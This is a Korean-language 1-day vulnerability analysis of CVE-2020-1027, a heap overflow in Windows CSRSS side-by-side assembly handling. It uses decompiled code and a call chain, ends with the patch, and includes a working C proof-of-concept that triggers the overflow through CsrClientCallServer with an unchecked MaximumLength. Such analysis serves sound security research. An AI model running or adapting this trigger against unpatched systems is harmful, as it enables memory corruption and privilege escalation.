[1-day Analysis] CVE-2020-1027 ( Windows buffer overflow in CSRSS )
googleprojectzero.blogspot.com/p/rca-cve-2020-1027.html
CVE-2020-1027: Windows buffer overflow in CSRSS
Posted by Sergei Glazunov, Project Zero (2021-01-12) Disclosure or Patch Date: April 14 2020 Product: Microsoft Windows Advisory: https:...
googleprojectzero.blogspot.com
Disclosure or Patch Date: April 14 2020
Product: Microsoft Windows
Affected Versions: Windows 7 through 10, prior to the April 2020 patch
First Patched Version: Windows with April 2020 patch (e.g. for Windows 10 1909/1903, KB4549951)
Bug Class: Heap buffer overflow
윈도우 7 ~ 10 2020년 4월 14일 패치 이전의 버전들이 이 취약점의 영향을 받는다.
버그 클래스는 힙 버퍼 오버플로우이다.
취약점 영향으로는 커널 권한 상승이 가능하다.
CSRSS의 side-by-side 어셈블리 구성 요소에서 취약점이 발견되었다.
CSRSS란 Client Server Run-time SubSystem의 약어로 윈도우 시스템에서 csrss.exe 프로세스로 항상 실행되는 필수적인 프로세스이다.
필수적인 프로세스이므로 작업 관리자에서 죽일 수 없는 프로세스이고 프로세스 및 스레드 관리와 관련된 작업을 구현한다.
NTSTATUS CsrClientCallServer (
PCSR_API_MSG ApiMessage ,
PVOID CaptureBuffer ,
ULONG ApiNumber ,
LONG DataLength );
서브 시스템 서버와 통신할 때 ALPC 매커니즘을 이용하여 통신하고 OS는 그 위에 CSR API를 제공한다.
기본 API 함수는 ntdll.dll의 CsrClientCallServer() 함수이다.
ApiNumber는 실행되는 CSRSS 루틴을 결정한다.
ApiMessage는 크기가 DataLength인 해당 메시지 오브젝트에 대한 포인터이다.
CaptureBuffer는 연결 초기화 동안 생성된 특수 공유 메모리 영역의 버퍼에 대한 포인터를 저장한다.
__int64 __fastcall BaseSrvSxsCreateActivationContext(__int64 a1)
{
__int64 v1; // r14
__int64 v2; // rdi
unsigned __int16 *v3; // rbx
unsigned __int16 v4; // ax
bool v5; // zf
__int64 v6; // rax
unsigned __int64 v7; // rcx
__int64 v8; // rdx
__int64 result; // rax
__int64 v10; // [rsp+50h] [rbp-58h]
__int64 v11; // [rsp+58h] [rbp-50h]
__int64 v12; // [rsp+60h] [rbp-48h]
__int64 v13; // [rsp+68h] [rbp-40h]
__int64 v14; // [rsp+70h] [rbp-38h]
__int64 v15; // [rsp+78h] [rbp-30h]
v10 = a1 + 96;
v1 = a1;
v2 = 0i64;
v11 = a1 + 152;
v12 = a1 + 200;
v13 = a1 + 216;
v14 = a1 + 72;
v15 = a1 + 280;
do
{
v3 = (unsigned __int16 *)*(&v10 + v2);
if ( v3 )
{
v4 = *v3;
if ( *v3 && !*((_QWORD *)v3 + 1) || v4 > v3[1] || v4 % 2 )
return 0xC000000Di64;
if ( *((_QWORD *)v3 + 1) )
{
v5 = (unsigned __int8)CsrValidateMessageBuffer(v1, v3 + 4, (unsigned int)v4 + 2, 1i64) == 0;
v6 = *((_QWORD *)v3 + 1);
if ( v5 )
{
DbgPrintEx(
51i64,
0i64,
"SXS: Validation of message buffer 0x%lx failed.\n"
" Message:%p\n"
" String %p{Length:0x%x, MaximumLength:0x%x, Buffer:%p}\n",
(unsigned int)v2,
v1,
v3,
*v3,
v3[1],
*((_QWORD *)v3 + 1));
return 0xC000000Di64;
}
v7 = (unsigned __int64)*v3 >> 1;
if ( *(_WORD *)(v6 + 2 * v7) && *(_WORD *)(v6 + 2 * v7 - 2) )
return 0xC000000Di64;
}
}
v2 = (unsigned int)(v2 + 1);
}
while ( (_DWORD)v2 != 6 );
v8 = *(_QWORD *)(*(_QWORD *)(*(_QWORD *)(__readgsqword(0x30u) + 112) + 56i64) + 80i64);
result = BaseSrvSxsCreateActivationContextFromStruct(v8, v8, (_DWORD *)(v1 + 64), 0i64);
if ( (signed int)result >= 0 )
result = 0i64;
return result;
}
취약점으로 인해 영향을 받은 함수는 CSRSS 모듈 중 하나인 sxssrv.dll의 BaseSrvSxsCreateActivationContext() 함수이다.
먼저 함수의 기능을 설명하기전에 manifest 파일이란 것을 알아야하는데 manifest 파일은 만들어진 프로그램이 어떤 .NET Framework Assemblies를 사용하는지 버전은 무엇인지 의존성은 어떻게 되는지의 정보를 가지고 있는 파일이다.
manifest 파일은 XML 형식으로 저장된다.
이 함수는 manifest.xml를 이진 데이터 구조로 분석하고 ALPC를 통해 Windows의 모든 프로세스에 접근 할 수 있다.
커널과 드라이버에서 자주 사용하는 문자열 형식인 UNICODE_STRING 구조체이다.
ApiMessage 관련 오브젝트에는 응용 프로그램 및 어셈블리 저장소 경로와 같은 UNICODE_STRING 매개변수가 포함된다.
do
{
v3 = (unsigned __int16 *)*(&v10 + v2);
if ( v3 )
{
v4 = *v3;
if ( *v3 && !*((_QWORD *)v3 + 1) || v4 > v3[1] || v4 % 2 )
return 0xC000000Di64;
if ( *((_QWORD *)v3 + 1) )
{
v5 = (unsigned __int8)CsrValidateMessageBuffer(v1, v3 + 4, (unsigned int)v4 + 2, 1i64) == 0;
v6 = *((_QWORD *)v3 + 1);
if ( v5 )
{
DbgPrintEx(
51i64,
0i64,
"SXS: Validation of message buffer 0x%lx failed.\n"
" Message:%p\n"
" String %p{Length:0x%x, MaximumLength:0x%x, Buffer:%p}\n",
(unsigned int)v2,
v1,
v3,
*v3,
v3[1],
*((_QWORD *)v3 + 1));
return 0xC000000Di64;
}
v7 = (unsigned __int64)*v3 >> 1;
if ( *(_WORD *)(v6 + 2 * v7) && *(_WORD *)(v6 + 2 * v7 - 2) )
return 0xC000000Di64;
}
}
v2 = (unsigned int)(v2 + 1);
}
while ( (_DWORD)v2 != 6 );
BaseSrvSxsCreateActivationContext() 함수의 문자열 매개변수의 유효성 검사를 하는 부분이다.
CsrValidateMessageBuffer() 함수의 인자값은 다음과 같이 선언되어있다.
BOOLEAN CsrValidateMessageBuffer(
PCSR_API_MSG ApiMessage,
PVOID * Buffer,
ULONG ElementCount,
ULONG ElementSize);
Buffer 포인터가 내부의 데이터를 참조하는지 Buffer + ElementCount * ElementSize 표현식이 정수 오버플로우를 일으키지 않는지 Buffer를 초과하지 않는지 체크를한다.
Buffer 크기의 유효성 검사를 할 때 MaximumLength가 아닌 Length 필드를 기반으로 계산을 한다.
if ( v36 != -1 )
v101 = v36;
v37 = *((_WORD *)v5 + 109);
v94 = *((_QWORD *)v5 + 18);
if ( v37 )
{
v44 = *((_QWORD *)v5 + 28);
*(_OWORD *)Src = *(_OWORD *)(v5 + 54);
v108 = v37 >> 1;
}
else
{
if ( v36 != 1 )
goto LABEL_61;
v108 = 60;
v44 = RtlAllocateHeap(*(_QWORD *)(__readgsqword(0x60u) + 48), 0i64, 120i64);
*(_QWORD *)Src = v44;
JUMPOUT(v44, 0i64, sub_180005CA5);
*(_QWORD *)&Src[8] = v44;
*(_WORD *)&Src[2] = 120;
}
v107 = v44;
sxssrv.dll의 BaseSrvSxsCreateActivationContextFromStructEx() 함수의 일부이다.
BaseSrvSxsCreateActivationContextFromStructEx() 함수가 호출되면 검사를 하지않은 MaximumLength 필드 값을 사용하여 SXS_GENERATE_ACTIVATION_CONTEXT_PARAMETERS 구조체의 인스턴스를 초기화한다.
v13 = (_ACTCTXGENCTX *)HeapAlloc(g_hHeap, 0, 0x10D0ui64);
if ( v13 )
v4 = _ACTCTXGENCTX::_ACTCTXGENCTX(v13);
else
v4 = 0i64;
if ( !v4 )
{
FusionpTraceAllocFailure(v14);
SetLastError(0xEu);
v6 = 0;
goto LABEL_103;
}
*(_DWORD *)(v4 + 1304) = v5;
v15 = *((_QWORD *)v2 + 15);
if ( v15 && *((_WORD *)v2 + 64) != (_WORD)v1 )
{
*(_QWORD *)(v4 + 4288) = v15;
*(_WORD *)(v4 + 4296) = *((_WORD *)v2 + 64);
}
그 후 sxs.dll의 SxsGenerateActivationContext() 함수에서 해당 값을 ACTCTXGENCTX() 함수에 전달한다.
1. sxssrv.dll BaseSrvSxsCreateActivationContext()
2. sxssrv.dll BaseSrvSxsCreateActivationContextFromStructEx()
3. sxs.dll SxsGenerateActivationContext()
4. sxs.dll SxspCloseManifestGraph()
5. sxs.dll SxspIncorporateAssembly()
6. sxs.dll XMLParser::Run()
7. sxs.dll CNodeFactory::CreateNode()
8. sxs.dll CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity()
중간에 생략된 함수가 있지만 함수 호출을 정리 해보면 이런 순서가 된다.
마지막으로 호출되는 sxs.dll의 CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity() 함수를 살펴보자.
if ( *(_WORD *)(*((_QWORD *)v3 + 2) + 4296i64) )
{
Src.Buffer = 0i64;
*(_QWORD *)&v52.Length = 0i64;
SetLastError(0);
if ( !(unsigned int)SxspGetAssemblyIdentityAttributeValue(
0,
v11,
(const struct _SXS_ASSEMBLY_IDENTITY_ATTRIBUTE_REFERENCE *)&s_IdentityAttribute_name,
(const unsigned __int16 **)&Src.Buffer,
(unsigned __int64 *)&v52.Length) )
{
v29 = off_16507C748;
*v78 = 0;
goto LABEL_84;
}
v25 = v52.Length;
if ( *(_QWORD *)&v52.Length
&& (v26 = *((_QWORD *)v3 + 2), *(_QWORD *)&v52.Length < (unsigned __int64)*(unsigned __int16 *)(v26 + 4296)) )
{
memcpy_0(*(void **)(v26 + 4288), Src.Buffer, 2i64 * *(_QWORD *)&v52.Length + 2);
*(_WORD *)(*((_QWORD *)v3 + 2) + 4296i64) = v25;
}
else
{
**(_WORD **)(*((_QWORD *)v3 + 2) + 4288i64) = 0;
*(_WORD *)(*((_QWORD *)v3 + 2) + 4296i64) = 0;
}
}
sxs.dll의 CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity() 함수의 일부이다.
sxssrv.dll의 BaseSrvSxsCreateActivationContext() 함수에서 UNICODE_STRING 구조체의 Buffer 필드와 Length 필드는
체크를하지만 MaximumLength 필드는 체크를 하지 않았기 때문에
CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity() 함수까지 진행될 때 체크를 하지않은 MaximumLength 필드 값에 따라 문자열 중 하나를 매개변수로 재사용하기 때문에 memcpy() 함수를 호출 할지 결정한다.
따라서 공격자는 버퍼의 데이터와 사이즈를 제어하여 memcpy() 함수에서 버퍼 오버플로우 취약점을 트리거 할 수 있다.
#include <stdint.h>
#include <stdio.h>
#include <windows.h>
#include <string>
const char* MANIFEST_CONTENTS =
"<?xml version='1.0' encoding='UTF-8' standalone='yes'?>"
"<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>"
"<assemblyIdentity name='@' version='1.0.0.0' type='win32' "
"processorArchitecture='amd64'/>"
"</assembly>";
const WCHAR* NULL_BYTE_STR = L"\x00\x00";
const WCHAR* MANIFEST_NAME =
L"msil_system.data.sqlxml.resources_b77a5c561934e061_3.0.4100.17061_en-us_"
L"d761caeca23d64a2.manifest";
const WCHAR* PATH = L"\\\\.\\c:Windows\\";
const WCHAR* MODULE = L"System.Data.SqlXml.Resources";
typedef PVOID(__stdcall* f_CsrAllocateCaptureBuffer)(ULONG ArgumentCount,
ULONG BufferSize);
f_CsrAllocateCaptureBuffer CsrAllocateCaptureBuffer;
typedef NTSTATUS(__stdcall* f_CsrClientCallServer)(PVOID ApiMessage,
PVOID CaptureBuffer,
ULONG ApiNumber,
ULONG DataLength);
f_CsrClientCallServer CsrClientCallServer;
typedef NTSTATUS(__stdcall* f_CsrCaptureMessageString)(LPVOID CaptureBuffer,
PCSTR String,
ULONG Length,
ULONG MaximumLength,
PSTR OutputString);
f_CsrCaptureMessageString CsrCaptureMessageString;
NTSTATUS CaptureUnicodeString(LPVOID CaptureBuffer, PSTR OutputString,
PCWSTR String, ULONG Length = 0) {
if (Length == 0) {
Length = lstrlenW(String);
}
return CsrCaptureMessageString(CaptureBuffer, (PCSTR)String, Length * 2,
Length * 2 + 2, OutputString);
}
int main() {
HMODULE Ntdll = LoadLibrary(L"Ntdll.dll");
CsrAllocateCaptureBuffer = (f_CsrAllocateCaptureBuffer)GetProcAddress(
Ntdll, "CsrAllocateCaptureBuffer");
CsrClientCallServer =
(f_CsrClientCallServer)GetProcAddress(Ntdll, "CsrClientCallServer");
CsrCaptureMessageString = (f_CsrCaptureMessageString)GetProcAddress(
Ntdll, "CsrCaptureMessageString");
char Message[0x220];
memset(Message, 0, 0x220);
PVOID CaptureBuffer = CsrAllocateCaptureBuffer(4, 0x300);
std::string Manifest = MANIFEST_CONTENTS;
Manifest.replace(Manifest.find('@'), 1, 0x2000, 'A');
// There's no public definition of the relevant CSR_API_MSG structure.
// The offsets and values are taken directly from the exploit.
*(uint32_t*)(Message + 0x40) = 0xc1;
*(uint16_t*)(Message + 0x44) = 9;
*(uint16_t*)(Message + 0x59) = 0x201;
// CSRSS loads the manifest contents from the client process memory;
// therefore, it doesn't have to be stored in the capture buffer.
*(const char**)(Message + 0x80) = Manifest.c_str();
*(uint64_t*)(Message + 0x88) = Manifest.size();
*(uint64_t*)(Message + 0xf0) = 1;
CaptureUnicodeString(CaptureBuffer, Message + 0x48, NULL_BYTE_STR, 2);
CaptureUnicodeString(CaptureBuffer, Message + 0x60, MANIFEST_NAME);
CaptureUnicodeString(CaptureBuffer, Message + 0xc8, PATH);
CaptureUnicodeString(CaptureBuffer, Message + 0x120, MODULE);
// Triggers the issue by setting ApplicationName.MaxLength to a large value.
*(uint16_t*)(Message + 0x122) = 0x8000;
CsrClientCallServer(Message, CaptureBuffer, 0x10017, 0xf0);
}
Proof-of-concept
__int64 __usercall BaseSrvSxsCreateActivationContext@<rax>(__int64 a1@<rcx>, __int64 a2@<r14>)
{
return BaseSrvSxsCreateActivationContextFromMessage(a1, a2);
}
sxssrv.dll의 BaseSrvSxsCreateActivationContext() 함수에 BaseSrvSxsCreateActivationContextFromMessage() 함수를 별도로 추가하여 취약점을 패치하였다.
do
{
v6 = (unsigned __int16 *)*(&v31 + v4);
if ( v6 )
{
v7 = *v6;
if ( (_WORD)v7 && !*((_QWORD *)v6 + 1) || (unsigned __int16)v7 > v6[1] || v7 & 1 )
return 3221225485i64;
if ( *((_QWORD *)v6 + 1) )
{
v8 = (unsigned __int8)CsrValidateMessageBuffer(v2, v6 + 4, (unsigned int)(v7 + 2), 1i64) == 0;
v9 = *((_QWORD *)v6 + 1);
if ( v8 )
{
v14 = v6[1];
v15 = *v6;
DbgPrintEx(
51i64,
0i64,
"SXS: Validation of message buffer 0x%lx failed.\n"
" Message:%p\n"
" String %p{Length:0x%x, MaximumLength:0x%x, Buffer:%p}\n",
v4,
v2,
v6);
return 3221225485i64;
}
v10 = (unsigned __int64)*v6 >> 1;
if ( *(_WORD *)(v9 + 2 * v10) && *(_WORD *)(v9 + 2 * v10 - 2) )
return 3221225485i64;
}
}
++v4;
}
while ( v4 != 6 );
[...]
if ( v3 )
*(_WORD *)(v2 + 282) = v3;
return result;
BaseSrvSxsCreateActivationContextFromMessage() 함수에서는 MaximumLength 필드에 대한 크기를 체크한다.
끝.